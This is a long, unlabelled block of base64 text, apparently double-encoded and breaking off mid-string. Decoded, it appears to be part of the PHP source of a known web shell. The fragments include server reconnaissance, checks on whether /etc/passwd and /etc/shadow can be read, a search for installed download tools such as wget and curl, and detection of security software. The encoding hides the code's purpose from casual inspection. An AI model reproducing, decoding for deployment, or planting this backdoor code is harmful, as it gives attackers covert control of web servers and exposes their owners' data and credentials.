ENiRkJZVW14bFNGRm5ZbTFHZEZwVU1XMVFhbmh3WW01Q01XUkRRakJsV0VKc1VGaE9NVmx0TVhCa1EwSXlXVmQ0TVZwVU1HNVFhalJ1VUdwM2RscHRPWGxpVkRRNFRETlNhMUJuYjJkSlEwRm5VRU01TUdOcU5EaGtTRWtyUTJsQlowbERRV2RKUTBGblVFaFNhMUJxZUcxaU0wcDBTVWM1ZFdNelZtbGlWMnd3VUZaM2FWcDVaMjVSTWpsMVl6STVjMXBUWTNOaWJsWnpZa040TUdGSGJIcE1iVTExWkcxR2MyUlhWWEJQTTBwc1pFaFdlV0pwUW0xWlYzaDZXbFIwWTBscU5EaGpNMEpvWW1vMVJtVkhWbXBrV0ZKc1QycDNkbU16UW1oaWFqUTRXVzVKSzFCSGJIVmpTRll3U1VkT2MxbFlUbnBRVTJRd1lqSTVjMk13YkhWalEyTm5aRWhzZDFwVU1UQmFXR2d3U1VjMWFHSlhWVGxaZVVJeVdWZDRNVnBVTUc1S2VqUTRZVmMxZDJSWVVXZGtTR3gzV2xReGVtUlhTblJoV0ZGblpHMUdjMlJYVlRsS2VqUXJTbm8wT0V3eVduWmpiVEFyVUVNNU1GcEVORXRKUTBGblNVTkJaMGxEUVRoa1IxRXJVRWRhZG1OdE1HZGlWMVl3WVVjNWExQlRaSGRpTTA0d1NubENSbFJyVGxWWFZrSkdVRk5rZEdSWGVEQmhXRUpvWTI1UmRscHRPWGxpVXpGcldWaFNhRXA2TkV0SlEwRm5TVU5CWjBsRFFUaGhWelYzWkZoUloyUkliSGRhVkRGdllWZFNhMXBYTkdkaWJVWjBXbFF4YUVsSVdtaGlTRlpzVUZOa1IyRlhlR3hqTURGQ1ltbGpLME5wUVdkSlEwRm5TVU5CWjFCSGJIVmpTRll3U1VoU05XTkhWVGxoUjJ4cldrZFdkVWxITldoaVYxVTVXWGxDTWxsWGVERmFWREJ1U1dsQmRVbERVa2hVUlRsRFVWVjRWRmQ1Wkdwa01sRnVXRk5CZFVscFl5dERhVUZuU1VOQlowbERRV2RRUjJ4MVkwaFdNRWxJVWpWalIxVTVZVWRzYTFwSFZuVkpSelZvWWxkVk9XTkVSV2RrYlVaelpGZFZPVW96Vm5kaVJ6bG9Xa1ZhY0dKSFZXNVFaMjluU1VOQlowbERRV2RKUkhod1ltNUNNV1JEUWpCbFdFSnNVRmRvY0ZwSFVteGlhVUoxV1ZjeGJGQlhUbTlaV0VwNldsaFJaMlJ0Um5Oa1YxVTVTbmxKWjB4cFFXOWhXRTU2V2xoUmIwcEdPVkZVTVU1VlYzbGthbUZIUm5sak1sWXdTakV3Y0ZCNVVtWlZSVGxVVmtaemJsa3lhR2hqYms1c1pFTmtaRTlwWTI1TFUwRjFTVU5KYmxCbmIyZEpRMEZuU1VOQlowbEVlSHBqUjBaMVVHeFdkMkpIT1doYVEwSnRZVmQ0YkU5cWQzWmpNMEpvWW1vMGEyRllUbVprTTBwd1pFZEdhV0pIVlRoWmJra3JVRWRzZFdOSVZqQkpSMDV6V1ZoT2VsQlRaREJpTWpsell6QnNkV05EWTJka1NHeDNXbFF4YldGWGVHeEpSelZvWWxkVk9WcHFORGhoVnpWM1pGaFJaMlJJYkhkYVZERjZaRmRLZEdGWVVXZGtiVVp6WkZkVk9VcDZOQ3RLZWpRNFRESmFkbU50TUN0UVIwcDVTVU5CSzFCRE9UQmFSRFJMU1VOQlowbEVkM1prU0VrclVFTTVNRmxYU25OYVZEUTRUREpTY0dScU5EaE1Na3AyV2tocksxQkRPVzlrUnpGelVHbEpOME51TUV0SlFYQndXbWxCYjBsWFdqRmliVTR3WVZjNWRWZ3lWalJoV0U0d1kzbG5hV05IT1hwaFdHaG1XakpXTUdOSVpERmhWMUZwUzFOQmJVcHBRVzlqTTFKNVkwYzVla3REVWtoVVJUbERVVlY0VkZkNVpHdGhXRTVvV1cxNGJGZ3lXakZpYlU0d1lWYzVkV041WkdSTVEwRnVZMGM1ZW1GWWFHWmFNbFl3WTBoa01XRlhVVzVMVkRBNVVGZGFhR0pJVG14TFUydG5aWGR2WjBsRFFXZGFibFoxV1ROU2NHSXlOR2RqUnpsNllWaG9abG95VmpCalNHUXhZVmRSYjBwSVFYQkpTSFI1V2xoU01XTnROR2RhYlVaell6SlZOMlpUUWpsRGJXeHRTVU5uYUZwdVZuVlpNMUp3WWpJMVpscFlhSEJqTTFKNlMwTktkMkl6VG5CbFJqbHVXbGhTYm1OdFpIQmFRMGx3U1VOWmJVbERhSHBrU0VwM1lqTk5iMHBGWkUxVU1FcENWRVpPWWtveVVuQmpNa1pwWWtkV1pscHVWblZaTTFKd1lqSTFla294TUhOSlEyUjNZak5PY0dWR09XNWFXRkp1WTIxa2NGcERZM0JRVkRBNVdtMUdjMk15VlhCTFUwSTNRMmxCWjBsRFFtMWtWelZxWkVkc2RtSnBRbmRpTTA1d1pVWTVibHBZVW01amJXUndXa05uYTJORGEyZGxNMHBzWkVoV2VXSnBRbTFaVjNoNldsUjBPVWxJTUV0SlFYQnRaRmMxYW1SSGJIWmlhVUl6WXpJNVJtVkRaMnRoVnpSd1NVaHpTMGxEUVdkSlExSjJaRmhSWjFCVFFXNUtlbk5MU1VOQlowbEhiRzFKUTJodFpGYzFhbVJIYkhaaWJEbHNaVWRzZW1SSVRXOUtNbFkwV2xkTmJrdFRhMmRsZDI5blNVTkJaMGxEUVdkSlJVSnNaVWRXYWt0RFVuQmlhWGRyWWpOV01FdFVjMHRKUTBGblNVTkJaMGxEUVd0aU0xWXdTVVF3WjFGSGNIWmhWelJ2U1d4NGRVbHBkMnRpTTFZd1MxUnpTMGxEUVdkSlNEQm5XbGQ0ZWxwWGJHMUpRMmh0WkZjMWFtUkhiSFppYkRsc1pVZHNlbVJJVFc5S00wSm9Zek5PTUdGSVNqRktlV3R3U1VoelMwbERRV2RKUTBGblNVTkNkbGxzT1hwa1IwWjVaRU5uY0U5M2IyZEpRMEZuU1VOQlowbEZRbmRaV0U1NlpFZG9lV1JUWjJ0aFZ6UndUM2R2WjBsRFFXZEpRMEZuU1VOU2RtUllVV2RRVTBKMldXdzVibHBZVW1aWk1uaHNXVmMwYjB0VWMwdEpRMEZuU1Vnd1oxcFhlSHBhVjJ4dFNVTm9iV1JYTldwa1IyeDJZbXc1YkdWSGJIcGtTRTF2U2pOT05XTXpVbXhpVTJOd1MxTkNOME5wUVdkSlEwRm5TVU5CWjJJeVNtWmpNMUpvWTI1UmIwdFVjMHRKUTBGblNVTkJaMGxEUWtGak0yeDZaRWRXZEV0RFVuQmlhV3MzUTJsQlowbERRV2RKUTBGblNrYzVNV1JEUVRsSlJ6bHBXREprYkdSR09XcGlSMVpvWW1sbmNFOTNiMmRKUTBGblpsTkNiR0pJVG14aFYxbG5TMGRhTVdKdFRqQmhWemwxV0RKV05HRllUakJqZVdkdVl6Sm9iR0pIZUdaYVdHaHNXWGxqY0V0VFFqZERhVUZuU1VOQlowbERRV2RLUnpreFpFTkJPVWxJVG05YVYzaHpXREpXTkZwWFRXOUtSMngxUzFSelMwbERRV2RKU0RCbldsZDRlbHBYYkcxSlEyaHdZekU1ZVZwWVRuWmtXRXBxV2xObmExcHBRVGxKUlVKM1lqTkNiR0pwWjJ0aFZ6UnpTVzVKYVV0VGEzQkpTSE5MU1VOQlowbERRV2RKUTBGcllqTldNRWxFTUdkSmFVazNRMmxCWjBsRFFXZEpRMEZuWkRKb2NHSkhWVzlKVlVKdFdsYzViVXREVW0xTFUydExTVU5CWjBsRFFXZEpRMEZuU1VOQlowcEhPVEZrUTBGMVVGTkNiV050Vm1oYVEyZHJXbWwzZUUxRVNUQkxWSE5MU1VOQlowbERRV2RKUTBKM1dUSjRkbU15Vlc5S1IxbHdUM2R2WjBsRFFXZG1VVzluU1VOQloyTnRWakJrV0VwMVNVTlNkbVJZVVRkRGJqQkxTVUZ3YldSWE5XcGtSMngyWW1sQ00yTXlPVmRoVjFZelZUSnNObHBUWjJ0amVXdG5aWGR2WjBsRFFXZGhWMWxuUzBkc2VsZ3liSFZrUTJkclkzbHJjRU5wUVdkSlEwRm5TVU5CWjBwSVRXZFFVMEo2WTBoS2NHSnVVbTFMUTBsc1pGTkpjMGxEVW5wTFZITkxTVU5CWjBsRFFVdEpRMEZuU1Vkc2JVdERVbnBKUkRRNVNVUkZkMDU2VFROT1JFVTBUV3BSY0VOcFFXZEpRMEZuU1VOQloyTnRWakJrV0VwMVNVaE9kMk50YkhWa1IxbHZTbmxWZUV4cVNtMUtlWGRuU2toTloweDVRWGhOUkdONlRucFJlRTlFU1RCSlEydDFTVU5qWjFJd1NXNVBkMjluU1VOQloxcFhlSHBhVjJ4dFMwTlNla2xFTkRsSlJFVjNUa1JuTVU1NldYQkRhVUZuU1VOQlowbERRV2RqYlZZd1pGaEtkVWxJVG5kamJXeDFaRWRaYjBwNVZYaE1ha3B0U25sM1owcElUV2RNZVVGNFRVUlJORTVVWXpKSlEydG5UR2xCYmtsRk1VTktlbk5MU1VOQlowbEhWbk5qTWxad1dtbG5hMk41UVN0UVUwRjRUVVJKTUV0UmIyZEpRMEZuU1VOQlowbElTbXhrU0ZaNVltbENlbU5JU25CaWJsSnRTME5qYkUxVE5IbGFhV056U1VOU2VrbERPR2ROVkVGNVRrTkJjRWxETkdkS2VVSk1VV2xqTjBOcFFXZEpRMEpzWWtoT2JFTnBRV2RKUTBGblNVTkJaMk50VmpCa1dFcDFTVU5TZWtsRE5HZEtlVUpEU25welMyWlJiMmREYlZveFltMU9NR0ZYT1hWSlNHUjZZakZDYkdOdE1YcExRMUozUzFOQ04wTnBRV2RKUTBKd1dtbEJiMHREVW5kSlExbG5UVWhvUkUxRVFYZExVMEU1VUZOQmQyVkZUWGROUkVGd1NrZHJaMUJUUVc1amVXTTNRMmxCWjBsRFFteGlTRTVzWVZkWlowdERaMnRqUTBGdFNVUkNORkZVUVhkTlEydG5VRlF3WjAxSWFFSk5SRUYzUzFOU2NFbEVNR2RLTW5kdVQzZHZaMGxEUVdkYVYzaDZXbGRzYlVsRFoyOUtTRUZuU21sQmQyVkVaM2ROUkVGd1NVUXdPVWxFUWpSUFJFRjNUVU5yYTJGVFFUbEpRMk4wU25welMwbERRV2RKUjFaell6SldjRnBwUVc5TFExSjNTVU5aWjAxSVp6Sk5SRUYzUzFOQk9WQlRRWGRsUkZsM1RVUkJjRXBIYTJkUVUwRnVXV2xqTjBOcFFXZEpRMEpzWWtoT2JHRlhXV2RMUTJkclkwTkJiVWxFUWpST1JFRjNUVU5yWjFCVU1HZE5TR2N3VFVSQmQwdFRVbkJKUkRCblNqSlJiazkzYjJkSlEwRm5XbGQ0ZWxwWGJHMUpRMmR2U2toQlowcHBRWGRsUkVsM1RVUkJjRWxFTURsSlJFSTBUV3BCZDAxRGEydGhVMEU1U1VOa2FrcDZjMHRKUTBGblNVZFdjMk15Vm5CYWFVRnZTME5TZDBsRFdXZE5TR2Q0VFVSQmQwdFRRVGxRVTBGM1pVUkZkMDFFUVhCS1IydG5VRk5CYm1ORFl6ZERhVUZuU1VOQ2JHSklUbXhKUTFKd1NVUXdaMG96Vlc1UGQyOW5TVU5CWjBwSGEyZE1hakJuUzBObmEyTkRRVzFKUkVJMFRVUkZkMDFEYTJkUWVVRnVZMmxqWjA5cFFXNU1VMk53VDNkdlowbERRV2RLUjJ0blRHb3daMHREWjJ0alEwRnRTVVJDTkUxRVFUUk5RMnRuVUhsQmJtUjVZMmRQYVVGdVRGTmpjRTkzYjJkSlEwRm5Ta2RyWjB4cU1HZExRMmRyWTBOQmJVbEVRalJOUkVFd1RVTnJaMUI1UVc5TFExSjNTVU5aWjAxSVozZFBSRUYzUzFOQkwwbERaSHBLZVVFMlNVTmtORXA1UVhCSlJHOW5TME5uYTJORFFXMUpSRUkwVFVSbmQwMURhMmRRZVVGdVZYbGpaMDlwUVc1TVUyTndTMVJ6UzBsRFFXZEpRMUp3U1VNME9VbERaMjlLU0VGblNtbEJkMlZFUVhkTmFrRndTVVE0WjBvelNXNUpSRzluU25rd2JrdFVjMHRKUTBGblNVTlNjRWxETkRsSlEyZHZTa2hCWjBwcFFYZGxSRUYzVFZSQmNFbEVPR2RLTTJOdVNVUnZaMHA1TUc1TFZITkxTVU5CWjBsRFVuQkpRelE1U1VObmIwcElRV2RLYVVGM1pVUkJkMDFFWjNCSlJEaG5TME5uYTJORFFXMUpSRUkwVFVSUmQwMURhMmRRZVVGdVkzbGpaMDlwUVc1bFEyTm5TMU5CTmtsRFoyOUtTRUZuU21sQmQyVkVRVEJOUkVGd1NVUTRaMG94VFc1SlJHOW5Tbmt3Ymt0VGF6ZERhVUZuU1VOQmEyRlRRWFZRVTBGdlMwTlNkMGxEV1dkTlNHZDNUVVJCTUV0VFFTOUpRMlI1U25sQk5rbERZM1JLZVdzM1EybEJaMGxEUVd0aFUwRjFVRk5CYjB0RFVuZEpRMWxuVFVobmQwMUVRWGxMVTBFdlNVTmtNMHA1UVRaSlEyTjBTbmxyTjBOcFFXZEpRMEZyWVZOQmRWQlRRVzlMUTFKM1NVTlpaMDFJWjNkTlJFRjRTMU5CTDBsRFoyOUtTRUZuU21sQmQyVkVRWGxOUkVGd1NVUTRaMG96VVc1SlJHOW5Tak5uYmtsRGEyZFBhVUZ2UzBOU2QwbERXV2ROU0dkM1RXcEJkMHRUUVM5SlEyUlZTbmxCTmtsRFkzUktlV3R3VDNkdlowbERRV2RqYlZZd1pGaEtkVWxEVW5CUGQzQTVRMmxCUzFwdVZuVlpNMUp3WWpJMFoyUXpUblpWUjFaNVlsaE9SR0l5ZUhaamFXZHJXbWxyWjJWM2IyZEpRMEZuWVZkWlowdERSa0ZoV0U1bVkyMVdhRnBIUm1saVIxVnZTa2RaY0V0UmIyZEpRMEZuU1VOQlowbElTbXhrU0ZaNVltbEJibEJIV25aaWJsRm5XVEk1YzJJelNUbEpNRnBIVFVSQmQwMUVORzVKUXpSblpETk9kbFZIVm5saVdFMXZVVWRhY0dKSFZuZGFXRXAwWTNsbmExcHBhM0JKUXpSblNucDNkbHB0T1hWa1JEUnVUM2R2WjBsRFFXZGFWM2g2V2xkc2JVbERaMmhSUjJ4NldETmtlV0ZZVW1oWmJYaHNTME5TYlV0VGEwdEpRMEZuU1VOQlowbERRbmxhV0ZJeFkyMDBaMHA2ZUcxaU1qVXdTVWRPZG1KSE9YbFFXR1J2WVZoU2JGQnBZMmRNYVVJell6STVVVnBZU25SamVXaEJXbTFzYzFwWVFteGpiVEY2UzBOU2JVdFRhMmRNYVVGdVVFTTViV0l5TlRCUWFXTTNRMmxCWjBsRFFteGlTRTVzUTJsQlowbERRV2RKUTBGblkyMVdNR1JZU25WSlEyTTRXbTA1ZFdSRFFtcGlNbmgyWTJvd2FrMXFWbTFhYWtGM1VHbGpaMHhwUWpOak1qbFJXbGhLZEdONWFFRmFiV3h6V2xoQ2JHTnRNWHBMUTFKdFMxTnJaMHhwUVc1UVF6bHRZakkxTUZCcFl6ZERiakJMU1VGd2JXUlhOV3BrUjJ4MlltbENNMk15T1ZSWk1rWjFXa2RzZVV0RFVtdGhXRWx3U1VoelMwbERRV2RKUjJ4dFMwZGFNV0p0VGpCaFZ6bDFXREpXTkdGWVRqQmplV2RwWXpKT2FHSnRVbkJqYVVsd1MxTkNOME5wUVdkSlEwRm5TVU5CWjJOdFZqQmtXRXAxU1VoT2FsbFhOV3RoV0VsdlNrZFNjR05wYXpkRGFVRm5TVU5DT1VsSFZuTmpNbFZuWlhkdlowbERRV2RKUTBGblNVTlNhMkZEUVdkUVUwSjJZMGRXZFZwSGJIbExRMUpyWVZoSmNFOTNiMmRKUTBGblNVTkJaMGxJWkc5aFYzaHNTVU5vYlZsWGVIcGFVMEZvVUZRd1owdERVbTFoVjNoc1ltMUdkRnBUUVRsSlNFcHNXVmRTYTJGWVNXOUtSMUp2UzFOcmNFTnBRV2RKUTBGblNVTkJaMGxEUVdkSlExSnRZVmQ0YkdNeGRHUkpSREJuU2tkYWNHSkhWblZaVnpGc1QzZHZaMGxEUVdkSlEwRm5TVWhLYkdSSVZubGlhVUZyV20xc2MxcFlUVGREYVVGblNVTkNPVU51TUV0SlFYQnRaRmMxYW1SSGJIWmlhVUl6WXpJNVdHRkhiR3BoUTJkclkwTnJaMlYzYjJkSlEwRm5Ta2hDYUdSSFoyZFFVMEl6WXpJNVJtVkRaMjVrTW1od1dUSm5aMHA1UVhWSlExSjNTMVJ6UzBsRFFXZEpSMnh0UzBOR2JHSllRakJsVTJkclkwZEdNR0ZEYTNCRGFVRm5TVU5CWjBsRFFXZGpiVll3WkZoS2RVbERVbmRaV0ZKdlQzZHZaMGxEUVdkamJWWXdaRmhLZFVsSFdtaGlTRTVzVDNkd09VTnBRVXRhYmxaMVdUTlNjR0l5TkdkWlYwNHdZVmM1ZFZVeVZtcFRWelZ0WW5sbmNFbEljMHRKUTBGblNVaGtlbUl3YUd4WlYxSnNZMmxuY0U5M2IyZEpRMEZuV2xkT2IySjVRVzVRUjJkNFVHeE9iR051V214amFVSjZXbGRPTVdOdGJEQmxVMEp3WW0xYWRtTnRNV2hrUjJ4MlltcDNkbUZFUlN0UVIxSndaR2xDYW1KSFJucGplakZxWWpJMU1GcFhOVEJRYVdNM1EybEJaMGxEUW0xa1Z6VnFaRWRzZG1KcFFqTmpNamxVV2xkT1VWbFlTbWhpVTJkclltbDNaMHBJV1hCSlNITkxTVU5CWjBsRFFXZEpRMEZyWkdsQk9VbElVbmxoVnpCdlNraFpjRTkzYjJkSlEwRm5TVU5CWjBsSGJHMUxRMUl5UzFOQ04wTnBRV2RKUTBGblNVTkJaMGxEUVdkSlIxWnFZVWM0WjBwNmVIcGpSMFoxVUdsaloweHBRV3RpYVVGMVNVTmpOa2xFZDNaak0wSm9ZbW8wYms5M2IyZEpRMEZuU1VOQlowbERRV2RKUTBKd1dtbG9lbVJJU25kaU0wMXZTa2haYzBsRFNtTmlhVWx3U1VRd09WQlRRbTFaVjNoNldsTnJTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VkV2FtRkhPR2RLU0ZsblRHbEJibEJIU25sUWFXTTNRMmxCWjBsRFFXZEpRMEZuU1VOQlowbEhWbk5qTWxWTFNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpSMVpxWVVjNFowcDZlSGRqYlZWbldUSjRhR016VFRsaVYzZDRVR2xqWjB4cFFXdGthVUYxU1VOak9Fd3pRbmxhVkRSdVQzZHZaMGxEUVdkSlEwRm5TVWd3UzBsRFFXZEpTREJMU1VGdlowbERRV2RrTTA1MlZUSldhbFZIUm5sWlZ6QnZTakZPYkdOdVdteGphVUo2WWpKYU1HUXlSbmxhVTJOelNVVkNibHBZVW14aWJsbHZTakZPUmxWc1drWlZiRGxVVkRCYVZWWXdSbE5TVTJOd1MxUnpTMGxEUVdkSlIyeHRTMGRhTVdKdFRqQmhWemwxV0RKV05HRllUakJqZVdkdVdWaENhRmt5YUd4WU1tUnNaRVk1ZEdJeVVqRmlSMVo2U25scmNFTnBRV2RKUTBGblNVTkJaMlF6VG5aVk1sWnFWVWRHZVZsWE1HOUtNSGgyV1ZkU2JGcERRa0pqUjBacVlVZFZaMkpYT1d0a1YzaHNZM2xqYzBsSGJIUmpSM2gyV2tkVmIwcDVkMmRLZVhkbldWaENhRmt5YUd4WU1tUnNaRVk1ZEdJeVVqRmlSMVo2UzBOcmNFdFVjMHRKUTBGblNVaGtlbUl4VG14Wk1VSm9ZMjFHZEV0RFpFVmhXRTVvV1cxNGJGcERRbEZUUmtGblVtNVdkVmt6VW5CaU1qVjZTbmwzWjBwRlpFMVVNRXBDVkVaT1lrb3lVbkJqTWtacFlrZFdabHB1Vm5WWk0xSndZakkxZWtveE1DOUtSV1JOVkRCS1FsUkdUbUpLTWxKd1l6SkdhV0pIVm1aYWJsWjFXVE5TY0dJeU5YcEtNVEEyU2pJMWRtSnRWVzVMVkhOTFNVTkJaMGxJWkhwaU1VNXNXVEZDYUdOdFJuUkxRMlJRWTBkV2RVbEhTbWhqTWxWbldrZHNlVXA1ZDJkUlIyeDFZVlk1YmxwWVVXOUtNamwzV2xjMVpsbHRSbnBhVjFKd1kybGpjRXRVYzB0SlEwRm5TVWhrZW1JeFRteFpNVUpvWTIxR2RFdERaRlJaVjFwc1NVY3hkbHBIVldkYVdHaHNXWGxDYTJGWVNXNU1RMEpCWVZjMWNGZ3laR3hrUTJkdVl6SkdiVnBXT1hSaU1sSnNXREpXTkZwWFRtWmFSMng1U25scmNFOTNiMmRKUTBGblpETk9kbFV5Vm1wVlIwWjVXVmN3YjBveFRtaGFiVlZuWWxjNWExcFRRbkJpYlU1elpGZFNiRWxIVW5CamFXTnpTVVZDY0dKdGJHWmFNbFl3UzBOa2VsbFhXbXhZTWpGMldrZFdabUZYTldwaVNGWnJXbFk1YTJGWVNXNUxVMnMzUTJsQlowbERRak5qTWpsVVdsZE9VVmxZU21oaVUyZHVXVEZXVTFSRFFucGtXRUozWWpOS01FcDVkMmRhYmxaMVdUTlNjR0l5TldaYVdHaHdZek5TZWt0RFpHcGtXRXB6V0ROYWJHTnVUbkJpTWpSdVMxUTRibHBYTldoWmJYaHNXa05qTmtveU5YWktlV3MzUTJsQlowbERRV3RrUjFaMFkwUXhhR051U21obFUyZHdUM2R2WjBsRFFXZGhWMWx2V201V2RWa3pVbkJpTWpWbVdsaG9jR016VW5wTFEyUjBaVmhPZUdKR09XNWFXRkptV1RKNGNGcFhOVEJZTW14MVdtMDRia3RUYTB0SlEwRm5TVU5CWjBsRFFXdGtSMVowWTBaMFpFbEVNR2RKYXpFMVZUTkdjMGxEWjJsTWJURTFZek5HYzFneVpHeGtSamxxWWtkc2JHSnVVbVpoVnpWdFlubG5jRXhwU1hCSmFuTkxTVU5CWjBsSGJHMUxSMW94WW0xT01HRlhPWFZZTWxZMFlWaE9NR041WjI1aVdFNTZZMWQ0WmxreU9YVmliVlpxWkVOamNFdFJiMmRKUTBGblNVTkJaMGxEVWpCYVZ6RjNWekV3WjFCVFFXbFVWazVVVlZWM2FVOTNiMmRKUTBGbllWZFpiMXB1Vm5WWk0xSndZakkxWmxwWWFIQmpNMUo2UzBOa2Qxb3hPV3BpTWpWMVdsZE9NRXA1YTNCRGFVRm5TVU5CWjBsRFFXZEtTRkpzWWxoQ1lsaFRRVGxKUTBwUllqTk9NRm96U214Vk1VWk5TV3B6UzBsRFFXZEpSMnh0UzBkYU1XSnRUakJoVnpsMVdESldOR0ZZVGpCamVXZHVZakpPY0ZneVRuWmliVFZzV1ROUmJrdFRhMHRKUTBGblNVTkJaMGxEUVd0a1IxWjBZMFowWkVsRU1HZEphemw1V1ZkT2MxcFRTVGREYVVGblNVTkNNMk15T1ZSYVYwNVJXVmhLYUdKVFoyNVZNMVozWTBjNWVXUkhWbXRKUjFKb1pFZEdhVmxZVG14amVXTnpTVWRzZEdOSGVIWmFSMVZ2U25sM1owcDVkMmRLU0ZKc1lsaEJjRXRVYzB0SlEwRm5TVWRXYW1GSE9HZEtlbmhwWTJvMGJrOTNiMmREYVVGblNVTkNjRnBwWjJ0U01IaFFVV3RHVFZVeGMyNWlNMDF1V0ZOQk9WQlRRVzVpYld3MFNubHJaMlYzYjJkSlEwRm5TVU5CWjBsRFFXZEpRMEl6WXpJNVZGcFhUbEZaV0Vwb1lsTm5ibFZ0Vm1oYVIwWnBZa2RWWjB3eVZqQlplVGwzV1ZoT2VtUXlVVzVNUTBKQllWaE9abU50Vm1oYVIwWnBZa2RWYjBwNU9XeGtSMDEyWTBkR2VtTXpaR3RLZVdzdlNXNXNiR041UVRoWlUwSnZZMjFXYlZCVFkycEtlVUoyWW0xT2MyRlhUbkpRVTJSdVMwWjNhVkp0YkhOYVdFNVZZakk1YzJNeGQybE1RMEpqU1drNWJHUkhUWFpZUTBselNVWjNhV05IUm5wak0yUnJXRU5KY0VwNk5XSmtiV3hzWkRFd09Fd3lSU3RKYW05dVltMDRia3RVYzB0SlEwRm5TVU5CWjBsRFFXZEpRMEZuWkROT2RsVXlWbXBWUjBaNVdWY3diMG94U214WlYxSm9XVzE0YkVsRE9XeGtSMDEyWXpKb2FGcEhPVE5LZVhkblVVZHNlbGd6U214WlYxSm9XVzE0YkV0RFkzWmFXRkpxVEROT2IxbFhVblprZVdOd1VIbEtOVnBZVFdkUVIwVm5ZVWhLYkZwcU1HNUplV05uWWpJMWFtSkhiR3BoZWpCdVdubG9ZMGxyV25CaVIxWjZWa2M1ZG1KSVRtTkphWGRuV0VOSmRscFlVbXBNTVhkcFRFTkNZMGx1VG05WlYxSjJaREYzYVV0VFl5dFhNMXB3V2xoa1pGQkRPV2hRYVVrMlNqSTFka3A1YXpkRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1Voa2VtSXhUbXhaTVVKb1kyMUdkRXREWkZCVmVVSXlXbGhLZW1GWE9YVktlWGRuVVVkYWNHSkhWbVphTWxZd1dESk9kbUp1VW14aWJsSjZTME5qZG1OSVNuWlplVGt5V2xoS2VtRlhPWFZLZVd0d1QzZHZaMGxEUVdkSlEwRm5TVU5CWjBsRFFqTmpNamxVV2xkT1VWbFlTbWhpVTJkdVVrZHNlbVJJU1dkaWJVWjBXbE5qYzBsRlFtMWhWM2hzV0RKa2JHUkdPV3BpTWpVd1dsYzFNR041WjI1TU1sWXdXWGs1Y0dNelRqRmFVelYxV2xoUmJrdFRhemREYVVGblNVTkJaMGxEUVdkSlEwRm5TVWRzYlV0RFJXdFNNSGhRVVd0R1RWVXhjMjVqTWtadFdsWTVkR0l5VW14S01UQndTVWh6UzBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTlNNV015Vm5sYWJsWnpTVVF3WjFsWVNubFpXR3R2U2pKa2FsbDVZM05LTW5ocVdYbGpjMG95VG1wS2VYZHVZa2RSYmt4RFpIUlpWM1JzU25sM2JtTkhhSGRLZVhkdVkwZFdlV0pEWTNOS00wSTFaRWRvZG1KcFkzTktNMG94V1c1cmJreERaREJaV0VsdVRFTmtibVZ0YkhkS2VYZHVXVzV3Y0dORFkzTktNa28yWVZoQmVVcDVkMjVpYlUxdVRFTmtjMkl5VG1oa1IxVnVURU5rZW1SWGJHdGpSMVo1WWtOamNFOTNiMmRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBwSFVtaGliV1JzWTJsQk9VbEhSbmxqYlVZMVMwTmtjbGxZV1c1TVEyUjFZakpSZWsxcFkzTktNa3ByV1RJNWVWcFhVVzVNUTJReFpHNU9hbGxYTkc1TVEyUjZXVmhaYmt4RFpHdGpibVJzV1cxUmJreERaR3BpUjBaMFdrTmpjMG96U25KaFNGWjFaRWRXZVVwNWQyNVpNbWh5WTIwNWRtUkhkSEJrUTJOelNqSnNkMlJIUm1saVIxWjZTbmwzYm1GWVFtMWtlV056U2pOU2VXRllRak5oV0Vwc1NubDNibU15YUhCYVYzaHJXVEpOYmt4RFpIZGlNMG93WXpKV2RXUklTalZLZVhkdVl6STFkbU51VVc1TVEyUjJZek5PYkZsNVkzTktNbmh3V2toT2FGcEhNRzVNUTJRd1dUTkNjMkl5VW01S2VYZHVZek5vY0ZwRFkzTktNbmgyV2pKT2IxcFhUbkpLZVhkdVlrYzVibVF5UmpCWk1tZHVURU5rZW1WWVRuUlpXRTV5U25sM2JtVnRNV2xqTWs1b1kwTmpjMG96VG1oa01qRndZa2QzYmt4RFpETmlNMHAwWXpKT2FHSnBZM05LTWpWd1ltMXdhRXA1YXpkRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV3RhUnprelltMTRkbGxYVW14amJrMW5VRk5DYUdOdVNtaGxVMmR1WkRKa2JHUkRZM05LTWxwc1pFZE9iMHA1ZDI1aVNHeDFaVU5qYzBveWVIQmliWFI2U25sM2Jsa3pWbmxpUTJOelNqSmtiR1JEWTNOS01uZ3pZME14ZEdGWVNubGlNMGx1UzFSelMwbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVWRXYW1GSE9HZEtlbmhwWTJvMGJrOTNiMmRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBwSVVteGlXRUU1V1ZoS2VWbFlhMjlMVkhOTFNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpSMXAyWTIxV2FGa3laMmRMUTFJeFl6SldlVnB1Vm5OSlIwWjZTVU5TY0dSSFZuUkxVVzluU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVWRzYlV0SVpIcGlNV1J2WVZkT2IwdERVbkJrUjFaMFMxTnJTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNraFNiR0pZUW1KWVUwRTVTVU5TY0dSSFZuUlBkMjluU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdka00wNTJWVEpXYWxWSFJubFpWekJ2U2pGV2VscFlTbTFrVjNkdVRFTkNjR0pZUW5OaU1sSnNTME5qYzBsRFkzTktTRkpzWWxoQmNFdFVjMHRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFVqQmFWekYzVUZkR2VXTnRSalZMUTJzM1EybEJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEp0WWpOS2JGbFhUbTlKUTJkcldrZEdkVm95Vm5sSlIwWjZTVU5TY0dSSFZuUkxVVzluU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVWRzYlV0SVpIcGlNV1J2WVZkT2IwdERVbkJrUjFaMFMxTnJTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNraFNiR0pZUW1KWVUwRTVTVU5TY0dSSFZuUlBkMjluU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdka00w